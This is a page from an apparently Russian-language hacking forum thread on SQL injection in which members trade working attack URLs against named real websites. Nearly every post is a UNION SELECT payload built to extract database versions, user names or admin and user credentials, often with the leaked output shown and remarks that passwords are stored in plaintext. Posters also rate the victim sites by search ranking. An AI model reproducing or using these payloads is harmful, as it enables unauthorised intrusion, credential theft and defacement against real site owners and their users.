SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Terminolog

    Terminolog New Member

    Joined:
    15 May 2010
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    Code:
    http://www.urbandictionary.com/define.php?term=unfathomable%20number-999.9+union+select+1,2,3,4-
    ТИЦ 350 PR 6

    Code:
    http://www.joblo.com/dvdclinic/index.php?id=1900-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--
    ТИЦ 170 PR 6
     
    #12861 Terminolog, 2 Sep 2010
    Last edited by a moderator: 2 Sep 2010
  2. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    Code:
    http://www.cosplay1.com/dtProduct.php?pId=-262+union+select+1,2,3,4,5,6,group_concat(username,char(58),password),8,9,10,11,12,13,14+from+adminc0sp+--+
     
  3. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.wndesherbinin.com/product.php?c=8&p=8&cp=-4391+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--

    http://farayab.asia/products.php?page=id&id=-12+union+select+1,version(),3,4--

    http://www.tangerinedream-music.com/download/cover.popup.php?pidp=-60+union+select+1,2,aes_decrypt(aes_encrypt(version(),1),1),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18


    http://www.colray-crafts.com/big.php?ProductID=-23263+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
     
    _________________________
    #12863 Konqi, 2 Sep 2010
    Last edited: 2 Sep 2010
  4. Terminolog

    Terminolog New Member

    Joined:
    15 May 2010
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    Code:
    http://songsofpraise.org/song.php?songid=299-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--
    ТИЦ 20
    PR 4

    --------------------------------------------------------

    Code:
    http://www.feldgrau.com/articles.php?ID=30-999.9+union+select+1,2,3,4,5,6,7,8--
    ТИЦ 40
    PR 5

    --------------------------------------------------------

    Code:
    http://www.sermonindex.net/modules/newbb/viewtopic.php?topic_id=28897&forum=36&2-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
    ТИЦ 10
    PR 5

    --------------------------------------------------------

    Code:
    http://www.standardmedia.co.ke/InsidePage.php?id=2000016504&cid=4-999.9+union+select+1,2,3,4,5--
    ТИЦ 70
    PR 5

    --------------------------------------------------------

    Code:
    http://www.megauploadbay.com/download.php?id=578970&name=besieged+1998+dvdrip+part3+rar-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
    ТИЦ 10
    PR 0

    --------------------------------------------------------

    Code:
    http://www.ipodhacks.com/article.php?sid=2521-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11--
    ТИЦ 30
    PR 6
     
  5. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    начнем потихоньку, по мере нахождения свой пост буду редактировать
    Code:
    http://www.menzies.utas.edu.au/information.php?Doo=ViewData&type=Person&ID=-59+union+select+1,2,3,4,5,6,concat(user_name,char(58),user_password),8,9+from+mausdb.users+LIMIT%200,1+--+
    сначала крутил скулю- потом начал изучать сайт и понял что крутить скулю не надо было т к пасс и ник админа есть и на этой странице http://www.menzies.utas.edu.au/information/



    Code:
    http://www.rblinds.com/information.php?id=-4+union+select+1,concat_ws(0x3a,version(),database(),user())+--+
     
    #12865 Kusto, 2 Sep 2010
    Last edited: 2 Sep 2010
    2 people like this.
  6. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    http://www.dfki.de/lt/card.php?id=-94+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--


    http://www.stepintub.com/states.php?id=-17+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7--

    продажа джакузи=)
     
    #12866 Lilo, 2 Sep 2010
    Last edited: 3 Sep 2010
    3 people like this.
  7. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    сайт фильмов онлайн
    Code:
    http://ventealcine.com/peliculas/videos/Ran.php?id=-731+union+select+1,concat(Nombre,char(58),Password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+vente2_ventealcine.Usuarios+--+
     
    1 person likes this.
  8. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    http://www.geniemove.com/states.php?stateid=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),5,6,7--
     
  9. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    здесь намного все проще и если я увижу дефейс на сайте я больше не буду полностью раскрученные постить скули (т к здесь все как на ладони, включая админку)

    Code:
    http://www.liposuctionlistings.com/link.php?id=-8+union+select+1,concat(username,char(58),Password),3,4,5,6+from+admin+--+
     
  10. Chi

    Chi New Member

    Joined:
    30 Aug 2010
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    Code:
    http://www.musikstunden.ch/index.php?LinkID=1+union+select+1,concat_ws(0x3a,version(),user(),database())/*
    Version : 5.0.32
    User : wsa@localhost
    Database : wsa_musikstunden

    Code:
    http://saunaafricaonline.com/index.php?linkID=1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
    MySQL : 5.1.37sp1
    Database : adusu001_sauna
    User : [email protected]
     
    #12870 Chi, 3 Sep 2010
    Last edited by a moderator: 3 Sep 2010
    1 person likes this.
  11. NorB

    NorB Elder - Старейшина

    Joined:
    20 Jul 2007
    Messages:
    109
    Likes Received:
    12
    Reputations:
    -2
    Code:
    http://www.keramikarte.de/shop/np/pheed.php?newsid=-24+union+select+1,2,table_name+from+information_schema.tables--+
    Чета не могу вывести из таблиц что либо...
    Code:
    http://www.keramikarte.de/shop/np/pheed.php?newsid=-24+union+select+1,2,group_concat(user_name)+from+cpg131_users+--+
    <- что нетак?
     
  12. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    Вывод в тайтле
    user() westcountrynetwo@localhost
    version() 5.0.51a-24+lenny4
    database() westcountrynetwo
     
    1 person likes this.
  13. Iron47

    Iron47 Member

    Joined:
    23 May 2009
    Messages:
    0
    Likes Received:
    11
    Reputations:
    -2
    Code:
    http://www.intenso.de/kategorie.php?kategorie=-21%20UNION%20ALL%20SELECT%20CONCAT_WS%28CHAR%2832,58,32%29,user%28%29,database%28%29,version%28%29%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175--


    intensode.1@localhost : intensode1 : 5.0.86-log
     
    1 person likes this.
  14. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    http://www.aeag.at/ce.php?id=-9+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os)--

    http://www.alt-erlaa.at/ce.php?id=-5+union+select+database()--

    домены разные( сайты одинаковые :(
     
    #12874 Lilo, 3 Sep 2010
    Last edited: 3 Sep 2010
  15. HakaR

    HakaR Active Member

    Joined:
    23 Jul 2009
    Messages:
    301
    Likes Received:
    200
    Reputations:
    3
    PHP:
    http://www.alexandrrybak.com/mov.php?id=-12+union+select+1,concat_ws(0x3a,version(),database(),user()),3--
    5.0.77:rybak:tarasdb@localhost
    pr3 тиц40
     
    2 people like this.
  16. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    админские пассы выводить не стал т к хранятся они в незашифрованном виде и админку найти не сложно, поэтому- сделал вывод простого юзера

    ТИЦ 120

    Code:
    http://zoorinok.com.ua/art.php?id=26+and+1=0+union+select+1,2,concat(user_login,char(58),user_password),4+from+user+--+
    инетмагазин
    ТИЦ 50
    Code:
    http://www.superpovar.ru/art.php?id=-6+union+select+1,2,concat(username,char(58),user_password),4+from+h21mobi_forum.phpbb_users+limit+1,1+--+
    Code:
    http://www.sport-clubs.ru/art.php?id=432+and+1=0+union+select+concat(login,char(58),md5)+from+zorro_aaaa.users+limit+2,1+--+
    здесь вывод в title

    Code:
    http://www.purdes.com/blog/art.php?id=-164+union+select+1,2,3,4,5,6,7,8+--+
    Code:
    http://www.avtosssr.ru/art.php?id=-67+union+select+concat_ws(0x3a,version(),database(),user()),2+--+
    Code:
    http://www.guevaragallery.com/art.php?id=2+and+1=0+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4+--+
     
    #12876 Kusto, 4 Sep 2010
    Last edited: 4 Sep 2010
    4 people like this.
  17. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    Вывод в самом низу.
    user() root@localhost
    version() 5.1.36-log
    database() farmasistemi


    user() bqshop_user@localhost
    version() 5.0.91-community
    database() bqshop_data


    user() promocao@localhost
    version() 4.1.21-standard-log
    database() adoropro_adorop


     
    #12877 *uNkN0Wn*, 4 Sep 2010
    Last edited: 4 Sep 2010
    2 people like this.
  18. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Code:
    [COLOR=White]http://karcher-ural.ru/newss.php?id=-6+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5--+[/COLOR]
    5.0.90:b26649_karch:[email protected]

    Code:
    [COLOR=White]http://www.cto.nsk.su/newss.php?id=-21+union+select+concat_ws(0x3a,version(),database(),user()),2,3--+[/COLOR]
    5.0.45-log:site_db:db_user@localhost
    тиц 10
     
    #12878 stepashka_, 4 Sep 2010
    Last edited: 4 Sep 2010
    3 people like this.
  19. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    :D

    :D





    Вывод в тайтле
     
    #12879 *uNkN0Wn*, 4 Sep 2010
    Last edited: 4 Sep 2010
  20. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    начнем

    Code:
    http://www.sale-info.ru/lot.php?id=-108+union+select+1,2,concat(user_login,char(58),user_pass),4,5,6,7,8,9,10,11,12+from+new_users+--+
    Международный аэропорт лосанжелеса
    пароли в открытом виде

    Code:
    http://www.airport-la.com/parking/lot.php?id=-7+union+select+1,2,3,concat(email,char(58),password),5,6,7,8,9,10,11,12,13,14+from+partners+--+


    здесь пассы в БД не хранятся :mad: так что просто вывел
    Code:
    http://www.zagorodny-dom.ru/lot.php?id=-246+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10+--+
    здесь тоже пароли в открытом виде
    Code:
    http://www.cincinnatiparking.info/lot.php?id=-18+union+select+1,concat(username,char(58),password),3,4,5,6,7,8,9,10,11,12+from+parking.users+--+
    ну или так выводим админский акк и хеш
    Code:
    http://www.cincinnatiparking.info/lot.php?id=-18+union+select+1,concat(user_login,char(58),user_pass),3,4,5,6,7,8,9,10,11,12+from+wordpress3.wp_02n0c4_users+--+
     
    #12880 Kusto, 4 Sep 2010
    Last edited: 4 Sep 2010
Thread Status:
Not open for further replies.